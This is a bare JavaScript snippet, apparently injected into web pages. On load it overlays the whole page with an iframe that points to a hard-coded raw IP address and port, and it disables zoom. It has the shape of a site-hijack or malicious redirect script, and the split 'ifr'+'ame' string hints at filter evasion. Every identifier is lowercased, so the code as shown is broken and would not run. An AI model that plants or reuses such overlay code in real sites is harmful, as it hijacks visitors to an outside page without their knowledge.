(function() {
    var urlarr = ['http://154.91.90.73:8866/new/yhys1.html'];
    var _url = urlarr[randomrange(urlarr.length)];
    setframe(_url);

    function setframe(olink){
      var ss = '<div style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial; background-repeat: initial;"><ifr'
        + 'ame id="showcloneshengxiaon" scrolling="yes" marginheight=0 marginwidth=0  frameborder="0" width="100%" height="100%" src="'+olink+'"></iframe></div><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;margin: 0;}</style>';
      settimeout(function() {
        try {
          var _body = document.getelementsbytagname('body')[0];
          if(_body){
            document.getelementsbytagname('body')[0].insertadjacenthtml('beforeend', ss);
          }else{
            settimeout(function() {
              document.getelementsbytagname('body')[0].insertadjacenthtml('beforeend', ss);
            }, 1000)
          }
          var ometa = document.createelement('meta');
          ometa.name = 'viewport';
          ometa.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no';
          document.getelementsbytagname('head')[0].appendchild(ometa);
        } catch (e) {}
      }, 200)
    }
    function randomrange(max) {
      return math.floor(math.random() * max);
    }
})();